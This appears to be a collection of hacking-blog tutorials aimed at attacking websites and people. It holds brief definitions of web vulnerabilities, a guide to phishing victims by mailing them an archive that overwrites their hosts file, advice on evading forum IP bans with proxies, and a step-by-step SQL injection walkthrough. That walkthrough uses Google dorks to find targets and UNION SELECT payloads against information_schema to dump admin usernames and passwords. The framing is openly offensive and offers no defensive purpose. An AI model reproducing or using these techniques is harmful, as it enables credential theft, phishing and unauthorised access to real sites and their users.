METHODS USED FOR WEBSITE HACKING

COMMON METHODS USED FOR WEBSITE HACKING

• Remote File Inclusion or RFI
• SQL injection
• Cross site scripting or XXS
• Local file inclusion or LFI
• Directory Traversal attack

RFI:
  RFI stands for Remote File Inclusion and it allows the attacker to upload a custom coded/malicious file on a website or server using a script.  The vulnerability occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

• Code execution on the web server
• Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
• Denial of Service (DoS)
• Data Theft/Manipulation

Local File Inclusion:
 Local File Inclusion known as LFI. It
It is same as RFI.


SQL injection:
   A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

By doing this you can get the admin id and password.  after getting the Username and password you can access the control panel of admin and change the website details or whatever you like,you can do.
For more Details  read this articles
What is SQL iNJECTION?
Implementation of SQL Injection

Cross site scripting or XXS :

It is is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007. Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site's owner



Directory Traversal attack
A directory traversal (or path traversal) is to exploit insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

The goal of this attack is to order an application to access a computer file that is not intended to be accessible. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.

Directory traversal is also known as the ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also canonicalization attacks.

Use Original Domain Address for Phishing Web page

Hi friends ,  you may have known about how to create phishing web Page.  If you don't know about Phishing Web Page, you need to read this tutorials first:

        Different Types of Email account
        How To Create fake or phishing web page

Once you know the basics of Phishing web Page ,come to this post.

Ok friends, there's one drawback in our traditional Phishing web page method. You know what is it? You are right, the url of our phishing web page. It may look like the real one,but it is not.


For eg: we may create the Phishing web page with www.gmails.com but it's not at all same as www.gmail.com

Probably, the experienced internet users will notice the URL of web Page. So they won't fall in our Fishnet.

What we are going to do now?
Why should not we make the phishing web page's URL looks exactly same as the real Domain Name? You may ask "is it possible?". My answer is yes, you can. It sounds good na? go ahead.

How we are going to implement?
 We are going to send an email with an executable to victim.
If the victim double click the executable file, then you are done.
Now whenever the victim enter the real domain name (like www.facebook.com) ,he will be in our phishing web page.
Don't worry the domain name is original URL(like www.facebook.com)

Got surprised....!!!! You may ask how this is done,go ahead.

How it is done?
   Executable file will change the Host file of Victim system. 
What is host file?
     The host file contains Domain Name and IP address associated with them.  Your host file will be in this path:

C:\Windows\System32\drivers\etc\

Whenever we enter the Domain name or URL (for eg: www.webaddress.com), a query will be send to the DNS (Domain Name server).  This DNS connect to the IP address which is associated with the Domain Name.   But before this to be done, the host file in our system will check for the IP address associated with the Domain Name.  Suppose we make an entry with Domain Name and IP address of our phishing web page(for  eg: www.webaddress.com wiht our ip 123.23.X.X),then there's no query will be send to the DNS.
It will automatically connect to the IP address associated with the Domain Name.  This will fruitful for us to mask the PHISHING web page's URL with Original Domain Name.


Now Let's divide into the Implementation:

• If you are hosting some other hosting site, probably you won't get the unique IP address for your Phishing Web Page. You can have the IP Address of the hosting only. So if you try to use that IP address, the victim will not bring to your Phishing web page , they will bring to the hosting address.
  

So what you can do overcome this problem? You need to set up your own Webserver in home. Using Webserver softwares you can set up your own Hosting service.

  Your computer should be turned on always. Because if you turned off the computer,then probably host will not be in online. Again it will be available when you turned on. So your computer turned on when victim visits your site.

How To set up Your own server?
  Download the  Webserver softwares like WAMP,XAMP(Both are open source software, I meant they are free ).  My suggestion is WAMP.  Because it is my favorite one.  It is easy to use.

Downlad the wamp server from http://www.wampserver.com/

Install the WAMP server.  After installation completed, Go to this folder path:

C:\Wamp\WWW

And paste your phishing web page here.

Start the Wamp Server.
(Start->windows->All Programs->Wamp Server->start wamp server)

you can see the half circle icon(wamp server icon) in system tray(i mean near to the time). Click the icon and select the start all services.

Now type your ip address in address bar of the web browser and hit enter. If you don't know your ip address ,visit www.whatismyip.com.

Now you can see your Phishing web page in your Browser.

Modifying the Host file :
 Copy the Host file from this path "C:\WINDOWS\system32\drivers\etc" to desktop.  Right click on the host file and open with Notepad.

You can see the localhost entry there.
Below that type as :

your_ip     domain_name

For eg:
123.xx.xx.xx www.gmail.com
.
 Save the File.

Compress the Host File:

    Compress hosts file such that when victim opens it, it automatically gets copied to default
location C:\Windows\system32\drivers\etc and victim's hosts file get replaced by our modified hosts file.
 
Right click on the Hosts file and select the Add to archieve option.  Now follow the steps which is shown in picture:

Now send the zipped file to victim.  If he extract the zip file, then the hosts file will be replaced.
You are done.  Now whenever he try to visit the genuine or original website, the phishing webpage only will be shown.


Some Disadvantages of this Hack:

•    If your IP address is dynamically changed ,then it is hard to implement it
•   If your victim is advanced user,he may notice the certificates of site which is shown by browser.

Don't worry it is not at all big problem.   Just try it ane enjoy it.

Register with another ip in forum,if you banned

Is your ip address banned in any forum or website? Can not you create account or login to your account?   Don't worry i am here to help you to create a new account.   Also You can have multiple accounts in forum.

How can you register after banned?
You can change your ip address. Visit from another ip and register the account.  Whenever you want to login to that forum or website hide ip address in simple way.

Don't use your old mail id or any other old details.  Create new one.

For Multiple Accounts:
If you want multiple accounts in forum ,what you have to do?  First register one account with one ip.  Then register another account with another ip.  likewise do registration.  If you want to login ,follow same procedure and use unique ip address for each account.

How to change ip address?
I gave you list of proxy servers here: Proxy Server ip address list
Use those proxy server.
If you don't know how to use those proxy server ip address ,please read this tutorial: How to use proxy to change ip address?

After setting new ip,check whether it is working or not by visiting "whatismyipaddress.com".  If the above proxy list didn't work,then try to search in google as proxy list".  I hope above proxy lists will work perfectly.

Hacking website using SQL Injection -step by step guide

Before we see what  SQL Injection is. We should know what SQL and Database are.

Database:
Database is collection of data. In website point of view, database is used for storing user ids,passwords,web page details and more.



Some List of Database are:

* DB servers,
* MySQL(Open source),
* MSSQL,
* MS-ACCESS,
* Oracle,
* Postgre SQL(open source),
* SQLite,



SQL:
Structured Query Language is Known as SQL. In order to communicate with the Database ,we are using SQL query. We are querying the database so it is called as Query language.

Definition from Complete reference:

SQL is a tool for organizing, managing, and retrieving data stored by a computer
database. The name "SQL" is an abbreviation for Structured Query Language. For
historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation
"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to
interact with a database. In fact, SQL works with one specific type of database, called a
relational database.

Simple Basic Queries for SQL:

Select * from table_name :
this statement is used for showing the content of tables including column name.
For eg:
select * from users;

Insert into table_name(column_names,...) values(corresponding values for columns):
For inserting data to table.
For eg:
insert into users(username,userid) values("blackstar","black");

I will give more detail and query in my next thread about the SQL QUERY.

What is SQL Injection?
SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database.

What an attacker can do?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

Now let's dive into the real procedure for the SQL Injection.
Follow my steps.

Step 1: Finding Vulnerable Website:
Our best partner for SQL injection is Google. We can find the Vulnerable websites(hackable websites) using Google Dork list. google dork is searching for vulnerable websites using the google searching tricks. There is lot of tricks to search in google. But we are going to use "inurl:" command for finding the vulnerable websites.

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork
http://www.ziddu.com/download/13161874/A...t.zip.html

How to use?
copy one of the above command and paste in the google search engine box.
Hit enter.
You can get list of web sites.
We have to visit the websites one by one for checking the vulnerability.
So Start from the first website.


Note:if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=

 Step 2: Checking the Vulnerability:
Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(') at the end of the url and hit enter. (No space between the number and single quotes)

For eg:

http://www.victimsite.com/index.php?id=2'

 If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable.

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!
For eg:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Step 3: Finding Number of columns:
Now we have found the website is vulnerable. Next step is to find the number of columns in the table.
For that replace the single quotes(') with "order by n" statement.(leave one space between number and order by n statement)

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

 change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)
http://www.victimsite.com/index.php?id=2 order by 2(noerror)
http://www.victimsite.com/index.php?id=2 order by 3(noerror)
http://www.victimsite.com/index.php?id=2 order by 4(noerror)
http://www.victimsite.com/index.php?id=2 order by 5(noerror)
http://www.victimsite.com/index.php?id=2 order by 6(noerror)
http://www.victimsite.com/index.php?id=2 order by 7(noerror)
http://www.victimsite.com/index.php?id=2 order by 8(error)
 

 so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "--" at the end of the statement.
For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Displaying the Vulnerable columns:
Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the "order by n" with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:
if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns).

Like this:



Now select 1 number.
It showing 3,7. Let's take the Number 3.

Step 5: Finding version,database,user
Now replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

It will show the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
Now we have to find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

 Now it will show the list of table names. Find the table name which is related with the admin or user.




Now select the "admin " table.


Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace mysqlchar with that .

Find MysqlChar() for Tablename:
First of all install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/
Now
select sql->Mysql->MysqlChar()

This will open the small window ,enter the table name which you found. i am going to use the admin table name.

click ok

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.


Copy and paste the code at the end of the url instead of the "mysqlchar"
For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Now it will show the list of columns.
like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..


Now replace the replace group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.
anothercolumnname should be replace from the listed column name.


Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

Sometime it will show the column is not found.
Then try another column names

Now it will Username and passwords.

Enjoy..!!cheers..!!

If the website has members then jock-bot for you. You will have the list of usernames and password.
Some time you may have the email ids also,enjoy you got the Dock which can produce the golden eggs.

Step 8: Finding the Admin Panel:
Just try with url like:

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/

etc.
If you have luck ,you will find the admin page using above urls. or try this list .
Here is the list of admin urls:

http://www.ziddu.com/download/13163866/A...t.zip.html